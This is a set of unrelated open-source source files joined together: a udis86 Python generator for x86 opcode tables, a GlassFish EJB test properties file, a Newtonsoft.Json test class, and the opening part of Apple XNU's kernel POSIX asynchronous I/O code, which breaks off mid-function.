# udis86 - scripts/ud_itab.py # # Copyright (c) 2009, 2013 Vivek Thampi # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import os import sys from ud_opcode import UdOpcodeTable, UdOpcodeTables, UdInsnDef class UdItabGenerator: OperandDict = { "Av" : [ "OP_A" , "SZ_V" ], "E" : [ "OP_E" , "SZ_NA" ], "Eb" : [ "OP_E" , "SZ_B" ], "Ew" : [ "OP_E" , "SZ_W" ], "Ev" : [ "OP_E" , "SZ_V" ], "Ed" : [ "OP_E" , "SZ_D" ], "Ey" : [ "OP_E" , "SZ_Y" ], "Eq" : [ "OP_E" , "SZ_Q" ], "Ez" : [ "OP_E" , "SZ_Z" ], "Fv" : [ "OP_F" , "SZ_V" ], "G" : [ "OP_G" , "SZ_NA" ], "Gb" : [ "OP_G" , "SZ_B" ], "Gw" : [ "OP_G" , "SZ_W" ], "Gv" : [ "OP_G" , "SZ_V" ], "Gy" : [ "OP_G" , "SZ_Y" ], "Gd" : [ "OP_G" , "SZ_D" ], "Gq" : [ "OP_G" , "SZ_Q" ], "Gz" : [ "OP_G" , "SZ_Z" ], "M" : [ "OP_M" , "SZ_NA" ], "Mb" : [ "OP_M" , "SZ_B" ], "Mw" : [ "OP_M" , "SZ_W" ], "Ms" : [ "OP_M" , "SZ_W" ], "Md" : [ "OP_M" , "SZ_D" ], "Mq" : [ "OP_M" , "SZ_Q" ], "Mdq" : [ "OP_M" , "SZ_DQ" ], "Mv" : [ "OP_M" , "SZ_V" ], "Mt" : [ "OP_M" , "SZ_T" ], "Mo" : [ "OP_M" , "SZ_O" ], "MbRd" : [ "OP_MR" , "SZ_BD" ], "MbRv" : [ "OP_MR" , "SZ_BV" ], "MwRv" : [ "OP_MR" , "SZ_WV" ], "MwRd" : [ "OP_MR" , "SZ_WD" ], "MwRy" : [ "OP_MR" , "SZ_WY" ], "MdRy" : [ "OP_MR" , "SZ_DY" ], "I1" : [ "OP_I1" , "SZ_NA" ], "I3" : [ "OP_I3" , "SZ_NA" ], "Ib" : [ "OP_I" , "SZ_B" ], "Iw" : [ "OP_I" , "SZ_W" ], "Iv" : [ "OP_I" , "SZ_V" ], "Iz" : [ "OP_I" , "SZ_Z" ], "sIb" : [ "OP_sI" , "SZ_B" ], "sIz" : [ "OP_sI" , "SZ_Z" ], "sIv" : [ "OP_sI" , "SZ_V" ], "Jv" : [ "OP_J" , "SZ_V" ], "Jz" : [ "OP_J" , "SZ_Z" ], "Jb" : [ "OP_J" , "SZ_B" ], "R" : [ "OP_R" , "SZ_RDQ" ], "C" : [ "OP_C" , "SZ_NA" ], "D" : [ "OP_D" , "SZ_NA" ], "S" : [ "OP_S" , "SZ_W" ], "Ob" : [ "OP_O" , "SZ_B" ], "Ow" : [ "OP_O" , "SZ_W" ], "Ov" : [ "OP_O" , "SZ_V" ], "U" : [ "OP_U" , "SZ_O" ], "Ux" : [ "OP_U" , "SZ_X" ], "V" : [ "OP_V" , "SZ_DQ" ], "Vdq" : [ "OP_V" , "SZ_DQ" ], "Vqq" : [ "OP_V" , "SZ_QQ" ], "Vsd" : [ "OP_V" , "SZ_Q" ], "Vx" : [ "OP_V" , "SZ_X" ], "H" : [ "OP_H" , "SZ_X" ], "Hx" : [ "OP_H" , "SZ_X" ], "Hqq" : [ "OP_H" , "SZ_QQ" ], "W" : [ "OP_W" , "SZ_DQ" ], "Wdq" : [ "OP_W" , "SZ_DQ" ], "Wqq" : [ "OP_W" , "SZ_QQ" ], "Wsd" : [ "OP_W" , "SZ_Q" ], "Wx" : [ "OP_W" , "SZ_X" ], "L" : [ "OP_L" , "SZ_O" ], "Lx" : [ "OP_L" , "SZ_X" ], "MwU" : [ "OP_MU" , "SZ_WO" ], "MdU" : [ "OP_MU" , "SZ_DO" ], "MqU" : [ "OP_MU" , "SZ_QO" ], "N" : [ "OP_N" , "SZ_Q" ], "P" : [ "OP_P" , "SZ_Q" ], "Q" : [ "OP_Q" , "SZ_Q" ], "AL" : [ "OP_AL" , "SZ_B" ], "AX" : [ "OP_AX" , "SZ_W" ], "eAX" : [ "OP_eAX" , "SZ_Z" ], "rAX" : [ "OP_rAX" , "SZ_V" ], "CL" : [ "OP_CL" , "SZ_B" ], "CX" : [ "OP_CX" , "SZ_W" ], "eCX" : [ "OP_eCX" , "SZ_Z" ], "rCX" : [ "OP_rCX" , "SZ_V" ], "DL" : [ "OP_DL" , "SZ_B" ], "DX" : [ "OP_DX" , "SZ_W" ], "eDX" : [ "OP_eDX" , "SZ_Z" ], "rDX" : [ "OP_rDX" , "SZ_V" ], "R0b" : [ "OP_R0" , "SZ_B" ], "R1b" : [ "OP_R1" , "SZ_B" ], "R2b" : [ "OP_R2" , "SZ_B" ], "R3b" : [ "OP_R3" , "SZ_B" ], "R4b" : [ "OP_R4" , "SZ_B" ], "R5b" : [ "OP_R5" , "SZ_B" ], "R6b" : [ "OP_R6" , "SZ_B" ], "R7b" : [ "OP_R7" , "SZ_B" ], "R0w" : [ "OP_R0" , "SZ_W" ], "R1w" : [ "OP_R1" , "SZ_W" ], "R2w" : [ "OP_R2" , "SZ_W" ], "R3w" : [ "OP_R3" , "SZ_W" ], "R4w" : [ "OP_R4" , "SZ_W" ], "R5w" : [ "OP_R5" , "SZ_W" ], "R6w" : [ "OP_R6" , "SZ_W" ], "R7w" : [ "OP_R7" , "SZ_W" ], "R0v" : [ "OP_R0" , "SZ_V" ], "R1v" : [ "OP_R1" , "SZ_V" ], "R2v" : [ "OP_R2" , "SZ_V" ], "R3v" : [ "OP_R3" , "SZ_V" ], "R4v" : [ "OP_R4" , "SZ_V" ], "R5v" : [ "OP_R5" , "SZ_V" ], "R6v" : [ "OP_R6" , "SZ_V" ], "R7v" : [ "OP_R7" , "SZ_V" ], "R0z" : [ "OP_R0" , "SZ_Z" ], "R1z" : [ "OP_R1" , "SZ_Z" ], "R2z" : [ "OP_R2" , "SZ_Z" ], "R3z" : [ "OP_R3" , "SZ_Z" ], "R4z" : [ "OP_R4" , "SZ_Z" ], "R5z" : [ "OP_R5" , "SZ_Z" ], "R6z" : [ "OP_R6" , "SZ_Z" ], "R7z" : [ "OP_R7" , "SZ_Z" ], "R0y" : [ "OP_R0" , "SZ_Y" ], "R1y" : [ "OP_R1" , "SZ_Y" ], "R2y" : [ "OP_R2" , "SZ_Y" ], "R3y" : [ "OP_R3" , "SZ_Y" ], "R4y" : [ "OP_R4" , "SZ_Y" ], "R5y" : [ "OP_R5" , "SZ_Y" ], "R6y" : [ "OP_R6" , "SZ_Y" ], "R7y" : [ "OP_R7" , "SZ_Y" ], "ES" : [ "OP_ES" , "SZ_NA" ], "CS" : [ "OP_CS" , "SZ_NA" ], "DS" : [ "OP_DS" , "SZ_NA" ], "SS" : [ "OP_SS" , "SZ_NA" ], "GS" : [ "OP_GS" , "SZ_NA" ], "FS" : [ "OP_FS" , "SZ_NA" ], "ST0" : [ "OP_ST0" , "SZ_NA" ], "ST1" : [ "OP_ST1" , "SZ_NA" ], "ST2" : [ "OP_ST2" , "SZ_NA" ], "ST3" : [ "OP_ST3" , "SZ_NA" ], "ST4" : [ "OP_ST4" , "SZ_NA" ], "ST5" : [ "OP_ST5" , "SZ_NA" ], "ST6" : [ "OP_ST6" , "SZ_NA" ], "ST7" : [ "OP_ST7" , "SZ_NA" ], "NONE" : [ "OP_NONE" , "SZ_NA" ], } # # opcode prefix dictionary # PrefixDict = { "rep" : "P_str", "repz" : "P_strz", "aso" : "P_aso", "oso" : "P_oso", "rexw" : "P_rexw", "rexb" : "P_rexb", "rexx" : "P_rexx", "rexr" : "P_rexr", "vexl" : "P_vexl", "vexw" : "P_vexw", "seg" : "P_seg", "inv64" : "P_inv64", "def64" : "P_def64", "cast" : "P_cast", } MnemonicAliases = ( "invalid", "3dnow", "none", "db", "pause" ) def __init__(self, tables): self.tables = tables self._insnIndexMap, i = {}, 0 for insn in tables.getInsnList(): self._insnIndexMap[insn], i = i, i + 1 self._tableIndexMap, i = {}, 0 for table in tables.getTableList(): self._tableIndexMap[table], i = i, i + 1 def getInsnIndex(self, insn): assert isinstance(insn, UdInsnDef) return self._insnIndexMap[insn] def getTableIndex(self, table): assert isinstance(table, UdOpcodeTable) return self._tableIndexMap[table] def getTableName(self, table): return "ud_itab__%d" % self.getTableIndex(table) def genOpcodeTable(self, table, isGlobal=False): """Emit Opcode Table in C. """ self.ItabC.write( "\n" ); if not isGlobal: self.ItabC.write('static ') self.ItabC.write( "const uint16_t %s[] = {\n" % self.getTableName(table)) for i in range(table.size()): if i > 0 and i % 4 == 0: self.ItabC.write( "\n" ) if i % 4 == 0: self.ItabC.write( " /* %2x */" % i) e = table.entryAt(i) if e is None: self.ItabC.write("%12s," % "INVALID") elif isinstance(e, UdOpcodeTable): self.ItabC.write("%12s," % ("GROUP(%d)" % self.getTableIndex(e))) elif isinstance(e, UdInsnDef): self.ItabC.write("%12s," % self.getInsnIndex(e)) self.ItabC.write( "\n" ) self.ItabC.write( "};\n" ) def genOpcodeTables(self): tables = self.tables.getTableList() for table in tables: self.genOpcodeTable(table, table is self.tables.root) def genOpcodeTablesLookupIndex(self): self.ItabC.write( "\n\n" ); self.ItabC.write( "const struct ud_lookup_table_list_entry ud_lookup_table_list[] = {\n" ) for table in self.tables.getTableList(): f0 = self.getTableName(table) + "," f1 = table.label() + "," f2 = "\"%s\"" % table.meta() self.ItabC.write(" /* %03d */ { %s %s %s },\n" % (self.getTableIndex(table), f0, f1, f2)) self.ItabC.write( "};" ) def genInsnTable( self ): self.ItabC.write( "const struct ud_itab_entry ud_itab[] = {\n" ); for insn in self.tables.getInsnList(): opr_c = [ "O_NONE", "O_NONE", "O_NONE", "O_NONE" ] pfx_c = [] opr = insn.operands for i in range(len(opr)): if not (opr[i] in self.OperandDict.keys()): print("error: invalid operand declaration: %s\n" % opr[i]) opr_c[i] = "O_" + opr[i] opr = "%s %s %s %s" % (opr_c[0] + ",", opr_c[1] + ",", opr_c[2] + ",", opr_c[3]) for p in insn.prefixes: if not ( p in self.PrefixDict.keys() ): print("error: invalid prefix specification: %s \n" % pfx) pfx_c.append( self.PrefixDict[p] ) if len(insn.prefixes) == 0: pfx_c.append( "P_none" ) pfx = "|".join( pfx_c ) self.ItabC.write( " /* %04d */ { UD_I%s %s, %s },\n" \ % ( self.getInsnIndex(insn), insn.mnemonic + ',', opr, pfx ) ) self.ItabC.write( "};\n" ) def getMnemonicsList(self): mnemonics = self.tables.getMnemonicsList() mnemonics.extend(self.MnemonicAliases) return mnemonics def genMnemonicsList(self): mnemonics = self.getMnemonicsList() self.ItabC.write( "\n\n" ); self.ItabC.write( "const char* const ud_mnemonics_str[] = {\n " ) self.ItabC.write( ",\n ".join( [ "\"%s\"" % m for m in mnemonics ] ) ) self.ItabC.write( "\n};\n" ) def genItabH( self, filePath ): self.ItabH = open( filePath, "w" ) # Generate Table Type Enumeration self.ItabH.write( "#ifndef UD_ITAB_H\n" ) self.ItabH.write( "#define UD_ITAB_H\n\n" ) self.ItabH.write("/* itab.h -- generated by udis86:scripts/ud_itab.py, do no edit */\n\n") # table type enumeration self.ItabH.write( "/* ud_table_type -- lookup table types (see decode.c) */\n" ) self.ItabH.write( "enum ud_table_type {\n " ) enum = UdOpcodeTable.getLabels() self.ItabH.write( ",\n ".join( enum ) ) self.ItabH.write( "\n};\n\n" ); # mnemonic enumeration self.ItabH.write( "/* ud_mnemonic -- mnemonic constants */\n" ) enum = "enum ud_mnemonic_code {\n " enum += ",\n ".join( [ "UD_I%s" % m for m in self.getMnemonicsList() ] ) enum += ",\n UD_MAX_MNEMONIC_CODE" enum += "\n};\n" self.ItabH.write( enum ) self.ItabH.write( "\n" ) self.ItabH.write( "extern const char * const ud_mnemonics_str[];\n" ) self.ItabH.write( "\n#endif /* UD_ITAB_H */\n" ) self.ItabH.close() def genItabC(self, filePath): self.ItabC = open(filePath, "w") self.ItabC.write("/* itab.c -- generated by udis86:scripts/ud_itab.py, do no edit") self.ItabC.write(" */\n"); self.ItabC.write("#include \"udis86_decode.h\"\n\n"); self.ItabC.write("#define GROUP(n) (0x8000 | (n))\n") self.ItabC.write("#define INVALID %d\n\n" % self.getInsnIndex(self.tables.invalidInsn)) self.genOpcodeTables() self.genOpcodeTablesLookupIndex() # # Macros defining short-names for operands # self.ItabC.write("\n\n/* itab entry operand definitions (for readability) */\n"); operands = self.OperandDict.keys() operands = sorted(operands) for o in operands: self.ItabC.write("#define O_%-7s { %-12s %-8s }\n" % (o, self.OperandDict[o][0] + ",", self.OperandDict[o][1])); self.ItabC.write("\n"); self.genInsnTable() self.genMnemonicsList() self.ItabC.close() def genItab( self, location ): self.genItabC(os.path.join(location, "udis86_itab.c")) self.genItabH(os.path.join(location, "udis86_itab.h")) def usage(): print("usage: ud_itab.py <optable.xml> <output-path>") def main(): if len(sys.argv) != 3: usage() sys.exit(1) tables = UdOpcodeTables(xml=sys.argv[1]) itab = UdItabGenerator(tables) itab.genItab(sys.argv[2]) if __name__ == '__main__': main()
{ "pile_set_name": "Github" }
# # DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. # # Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. # # The contents of this file are subject to the terms of either the GNU # General Public License Version 2 only ("GPL") or the Common Development # and Distribution License("CDDL") (collectively, the "License"). You # may not use this file except in compliance with the License. You can # obtain a copy of the License at # https://glassfish.dev.java.net/public/CDDL+GPL_1_1.html # or packager/legal/LICENSE.txt. See the License for the specific # language governing permissions and limitations under the License. # # When distributing the software, include this License Header Notice in each # file and include the License file at packager/legal/LICENSE.txt. # # GPL Classpath Exception: # Oracle designates this particular file as subject to the "Classpath" # exception as provided by Oracle in the GPL Version 2 section of the License # file that accompanied this code. # # Modifications: # If applicable, add the following below the License Header, with the fields # enclosed by brackets [] replaced by your own identifying information: # "Portions Copyright [year] [name of copyright owner]" # # Contributor(s): # If you wish your version of this file to be governed by only the CDDL or # only the GPL Version 2, indicate your decision by adding "[Contributor] # elects to include this software in this distribution under the [CDDL or GPL # Version 2] license." If you don't indicate a single choice of license, a # recipient has the option to distribute your version of this file under # either the CDDL, the GPL Version 2 or to extend the choice of license to # its licensees as provided above. However, if you add GPL Version 2 code # and therefore, elected the GPL Version 2 license, then the option applies # only if the new code is made subject to such option by the copyright # holder. # app.file=slsbnicmt testsuite.name=EJB_slsbnicmt testng.test.name=EJB_slsbnicmt #possible choices war|ear|jar contextroot=slsbnicmt archive.type=war ws.root=../.. #Definitely need to set this at local level deploy.platform=v3 result.output=${ws.root}/test-output
{ "pile_set_name": "Github" }
#region License // Copyright (c) 2007 James Newton-King // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. #endregion using System; namespace Newtonsoft.Json.Tests.TestObjects { public class UserNullable { public Guid Id; public string FName; public string LName; public int RoleId; public int? NullableRoleId; public int? NullRoleId; public bool? Active; } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2003-2016 Apple Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * todo: * 1) ramesh is looking into how to replace taking a reference on * the user's map (vm_map_reference()) since it is believed that * would not hold the process for us. * 2) david is looking into a way for us to set the priority of the * worker threads to match that of the user's thread when the * async IO was queued. */ /* * This file contains support for the POSIX 1003.1B AIO/LIO facility. */ #include <sys/systm.h> #include <sys/fcntl.h> #include <sys/file_internal.h> #include <sys/filedesc.h> #include <sys/kernel.h> #include <sys/vnode_internal.h> #include <sys/malloc.h> #include <sys/mount_internal.h> #include <sys/param.h> #include <sys/proc_internal.h> #include <sys/sysctl.h> #include <sys/unistd.h> #include <sys/user.h> #include <sys/aio_kern.h> #include <sys/sysproto.h> #include <machine/limits.h> #include <mach/mach_types.h> #include <kern/kern_types.h> #include <kern/waitq.h> #include <kern/zalloc.h> #include <kern/task.h> #include <kern/sched_prim.h> #include <vm/vm_map.h> #include <libkern/OSAtomic.h> #include <sys/kdebug.h> #define AIO_work_queued 1 #define AIO_worker_wake 2 #define AIO_completion_sig 3 #define AIO_completion_cleanup_wait 4 #define AIO_completion_cleanup_wake 5 #define AIO_completion_suspend_wake 6 #define AIO_fsync_delay 7 #define AIO_cancel 10 #define AIO_cancel_async_workq 11 #define AIO_cancel_sync_workq 12 #define AIO_cancel_activeq 13 #define AIO_cancel_doneq 14 #define AIO_fsync 20 #define AIO_read 30 #define AIO_write 40 #define AIO_listio 50 #define AIO_error 60 #define AIO_error_val 61 #define AIO_error_activeq 62 #define AIO_error_workq 63 #define AIO_return 70 #define AIO_return_val 71 #define AIO_return_activeq 72 #define AIO_return_workq 73 #define AIO_exec 80 #define AIO_exit 90 #define AIO_exit_sleep 91 #define AIO_close 100 #define AIO_close_sleep 101 #define AIO_suspend 110 #define AIO_suspend_sleep 111 #define AIO_worker_thread 120 #if 0 #undef KERNEL_DEBUG #define KERNEL_DEBUG KERNEL_DEBUG_CONSTANT #endif /* * aio requests queue up on the aio_async_workq or lio_sync_workq (for * lio_listio LIO_WAIT). Requests then move to the per process aio_activeq * (proc.aio_activeq) when one of our worker threads start the IO. * And finally, requests move to the per process aio_doneq (proc.aio_doneq) * when the IO request completes. The request remains on aio_doneq until * user process calls aio_return or the process exits, either way that is our * trigger to release aio resources. */ typedef struct aio_workq { TAILQ_HEAD(, aio_workq_entry) aioq_entries; int aioq_count; lck_mtx_t aioq_mtx; struct waitq aioq_waitq; } *aio_workq_t; #define AIO_NUM_WORK_QUEUES 1 struct aio_anchor_cb { volatile int32_t aio_inflight_count; /* entries that have been taken from a workq */ volatile int32_t aio_done_count; /* entries on all done queues (proc.aio_doneq) */ volatile int32_t aio_total_count; /* total extant entries */ /* Hash table of queues here */ int aio_num_workqs; struct aio_workq aio_async_workqs[AIO_NUM_WORK_QUEUES]; }; typedef struct aio_anchor_cb aio_anchor_cb; struct aio_lio_context { int io_waiter; int io_issued; int io_completed; }; typedef struct aio_lio_context aio_lio_context; /* * Notes on aio sleep / wake channels. * We currently pick a couple fields within the proc structure that will allow * us sleep channels that currently do not collide with any other kernel routines. * At this time, for binary compatibility reasons, we cannot create new proc fields. */ #define AIO_SUSPEND_SLEEP_CHAN p_aio_active_count #define AIO_CLEANUP_SLEEP_CHAN p_aio_total_count #define ASSERT_AIO_FROM_PROC(aiop, theproc) \ if ((aiop)->procp != (theproc)) { \ panic("AIO on a proc list that does not belong to that proc.\n"); \ } /* * LOCAL PROTOTYPES */ static void aio_proc_lock(proc_t procp); static void aio_proc_lock_spin(proc_t procp); static void aio_proc_unlock(proc_t procp); static lck_mtx_t* aio_proc_mutex(proc_t procp); static void aio_proc_move_done_locked(proc_t procp, aio_workq_entry *entryp); static void aio_proc_remove_done_locked(proc_t procp, aio_workq_entry *entryp); static int aio_get_process_count(proc_t procp ); static int aio_active_requests_for_process(proc_t procp ); static int aio_proc_active_requests_for_file(proc_t procp, int fd); static boolean_t is_already_queued(proc_t procp, user_addr_t aiocbp ); static boolean_t should_cancel(aio_workq_entry *entryp, user_addr_t aiocbp, int fd); static void aio_entry_lock(aio_workq_entry *entryp); static void aio_entry_lock_spin(aio_workq_entry *entryp); static aio_workq_t aio_entry_workq(aio_workq_entry *entryp); static lck_mtx_t* aio_entry_mutex(__unused aio_workq_entry *entryp); static void aio_workq_remove_entry_locked(aio_workq_t queue, aio_workq_entry *entryp); static void aio_workq_add_entry_locked(aio_workq_t queue, aio_workq_entry *entryp); static void aio_entry_ref_locked(aio_workq_entry *entryp); static void aio_entry_unref_locked(aio_workq_entry *entryp); static void aio_entry_ref(aio_workq_entry *entryp); static void aio_entry_unref(aio_workq_entry *entryp); static void aio_entry_update_for_cancel(aio_workq_entry *entryp, boolean_t cancelled, int wait_for_completion, boolean_t disable_notification); static int aio_entry_try_workq_remove(aio_workq_entry *entryp); static boolean_t aio_delay_fsync_request( aio_workq_entry *entryp ); static int aio_free_request(aio_workq_entry *entryp); static void aio_workq_init(aio_workq_t wq); static void aio_workq_lock_spin(aio_workq_t wq); static void aio_workq_unlock(aio_workq_t wq); static lck_mtx_t* aio_workq_mutex(aio_workq_t wq); static void aio_work_thread( void ); static aio_workq_entry *aio_get_some_work( void ); static int aio_get_all_queues_count( void ); static int aio_queue_async_request(proc_t procp, user_addr_t aiocbp, int kindOfIO ); static int aio_validate( aio_workq_entry *entryp ); static int aio_increment_total_count(void); static int aio_decrement_total_count(void); static int do_aio_cancel_locked(proc_t p, int fd, user_addr_t aiocbp, int wait_for_completion, boolean_t disable_notification ); static void do_aio_completion( aio_workq_entry *entryp ); static int do_aio_fsync( aio_workq_entry *entryp ); static int do_aio_read( aio_workq_entry *entryp ); static int do_aio_write( aio_workq_entry *entryp ); static void do_munge_aiocb_user32_to_user( struct user32_aiocb *my_aiocbp, struct user_aiocb *the_user_aiocbp ); static void do_munge_aiocb_user64_to_user( struct user64_aiocb *my_aiocbp, struct user_aiocb *the_user_aiocbp ); static int lio_create_entry(proc_t procp, user_addr_t aiocbp, void *group_tag, aio_workq_entry **entrypp ); static aio_workq_entry *aio_create_queue_entry(proc_t procp, user_addr_t aiocbp, void *group_tag, int kindOfIO); static user_addr_t *aio_copy_in_list(proc_t procp, user_addr_t aiocblist, int nent); static void free_lio_context(aio_lio_context* context); static void aio_enqueue_work( proc_t procp, aio_workq_entry *entryp, int proc_locked); #define ASSERT_AIO_PROC_LOCK_OWNED(p) lck_mtx_assert(aio_proc_mutex((p)), LCK_MTX_ASSERT_OWNED) #define ASSERT_AIO_WORKQ_LOCK_OWNED(q) lck_mtx_assert(aio_workq_mutex((q)), LCK_MTX_ASSERT_OWNED) #define ASSERT_AIO_ENTRY_LOCK_OWNED(e) lck_mtx_assert(aio_entry_mutex((e)), LCK_MTX_ASSERT_OWNED) /* * EXTERNAL PROTOTYPES */ /* in ...bsd/kern/sys_generic.c */ extern int dofileread(vfs_context_t ctx, struct fileproc *fp, user_addr_t bufp, user_size_t nbyte, off_t offset, int flags, user_ssize_t *retval ); extern int dofilewrite(vfs_context_t ctx, struct fileproc *fp, user_addr_t bufp, user_size_t nbyte, off_t offset, int flags, user_ssize_t *retval ); #if DEBUG static uint32_t lio_contexts_alloced = 0; #endif /* DEBUG */ /* * aio external global variables. */ extern int aio_max_requests; /* AIO_MAX - configurable */ extern int aio_max_requests_per_process; /* AIO_PROCESS_MAX - configurable */ extern int aio_worker_threads; /* AIO_THREAD_COUNT - configurable */ /* * aio static variables. */ static aio_anchor_cb aio_anchor; static lck_grp_t *aio_proc_lock_grp; static lck_grp_t *aio_entry_lock_grp; static lck_grp_t *aio_queue_lock_grp; static lck_attr_t *aio_lock_attr; static lck_grp_attr_t *aio_lock_grp_attr; static struct zone *aio_workq_zonep; static lck_mtx_t aio_entry_mtx; static lck_mtx_t aio_proc_mtx; static void aio_entry_lock(__unused aio_workq_entry *entryp) { lck_mtx_lock(&aio_entry_mtx); } static void aio_entry_lock_spin(__unused aio_workq_entry *entryp) { lck_mtx_lock_spin(&aio_entry_mtx); } static void aio_entry_unlock(__unused aio_workq_entry *entryp) { lck_mtx_unlock(&aio_entry_mtx); } /* Hash */ static aio_workq_t aio_entry_workq(__unused aio_workq_entry *entryp) { return &aio_anchor.aio_async_workqs[0]; } static lck_mtx_t* aio_entry_mutex(__unused aio_workq_entry *entryp) { return &aio_entry_mtx; } static void aio_workq_init(aio_workq_t wq) { TAILQ_INIT(&wq->aioq_entries); wq->aioq_count = 0; lck_mtx_init(&wq->aioq_mtx, aio_queue_lock_grp, aio_lock_attr); waitq_init(&wq->aioq_waitq, SYNC_POLICY_FIFO); } /* * Can be passed a queue which is locked spin. */ static void aio_workq_remove_entry_locked(aio_workq_t queue, aio_workq_entry *entryp) { ASSERT_AIO_WORKQ_LOCK_OWNED(queue); if (entryp->aio_workq_link.tqe_prev == NULL) { panic("Trying to remove an entry from a work queue, but it is not on a queue\n"); } TAILQ_REMOVE(&queue->aioq_entries, entryp, aio_workq_link); queue->aioq_count--; entryp->aio_workq_link.tqe_prev = NULL; /* Not on a workq */ if (queue->aioq_count < 0) { panic("Negative count on a queue.\n"); } } static void aio_workq_add_entry_locked(aio_workq_t queue, aio_workq_entry *entryp) { ASSERT_AIO_WORKQ_LOCK_OWNED(queue); TAILQ_INSERT_TAIL(&queue->aioq_entries, entryp, aio_workq_link); if (queue->aioq_count < 0) { panic("Negative count on a queue.\n"); } queue->aioq_count++; } static void aio_proc_lock(proc_t procp) { lck_mtx_lock(aio_proc_mutex(procp)); } static void aio_proc_lock_spin(proc_t procp) { lck_mtx_lock_spin(aio_proc_mutex(procp)); } static void aio_proc_move_done_locked(proc_t procp, aio_workq_entry *entryp) { ASSERT_AIO_PROC_LOCK_OWNED(procp); TAILQ_REMOVE(&procp->p_aio_activeq, entryp, aio_proc_link ); TAILQ_INSERT_TAIL( &procp->p_aio_doneq, entryp, aio_proc_link); procp->p_aio_active_count--; OSIncrementAtomic(&aio_anchor.aio_done_count); } static void aio_proc_remove_done_locked(proc_t procp, aio_workq_entry *entryp) { TAILQ_REMOVE(&procp->p_aio_doneq, entryp, aio_proc_link); OSDecrementAtomic(&aio_anchor.aio_done_count); aio_decrement_total_count(); procp->p_aio_total_count--; } static void aio_proc_unlock(proc_t procp) { lck_mtx_unlock(aio_proc_mutex(procp)); } static lck_mtx_t* aio_proc_mutex(proc_t procp) { return &procp->p_mlock; } static void aio_entry_ref_locked(aio_workq_entry *entryp) { ASSERT_AIO_ENTRY_LOCK_OWNED(entryp); if (entryp->aio_refcount < 0) { panic("AIO workq entry with a negative refcount.\n"); } entryp->aio_refcount++; } /* Return 1 if you've freed it */ static void aio_entry_unref_locked(aio_workq_entry *entryp) { ASSERT_AIO_ENTRY_LOCK_OWNED(entryp); entryp->aio_refcount--; if (entryp->aio_refcount < 0) { panic("AIO workq entry with a negative refcount.\n"); } } static void aio_entry_ref(aio_workq_entry *entryp) { aio_entry_lock_spin(entryp); aio_entry_ref_locked(entryp); aio_entry_unlock(entryp); } static void aio_entry_unref(aio_workq_entry *entryp) { aio_entry_lock_spin(entryp); aio_entry_unref_locked(entryp); if ((entryp->aio_refcount == 0) && ((entryp->flags & AIO_DO_FREE) != 0)) { aio_entry_unlock(entryp); aio_free_request(entryp); } else { aio_entry_unlock(entryp); } return; } static void aio_entry_update_for_cancel(aio_workq_entry *entryp, boolean_t cancelled, int wait_for_completion, boolean_t disable_notification) { aio_entry_lock_spin(entryp); if (cancelled) { aio_entry_ref_locked(entryp); entryp->errorval = ECANCELED; entryp->returnval = -1; } if ( wait_for_completion ) { entryp->flags |= wait_for_completion; /* flag for special completion processing */ } if ( disable_notification ) { entryp->flags |= AIO_DISABLE; /* Don't want a signal */ } 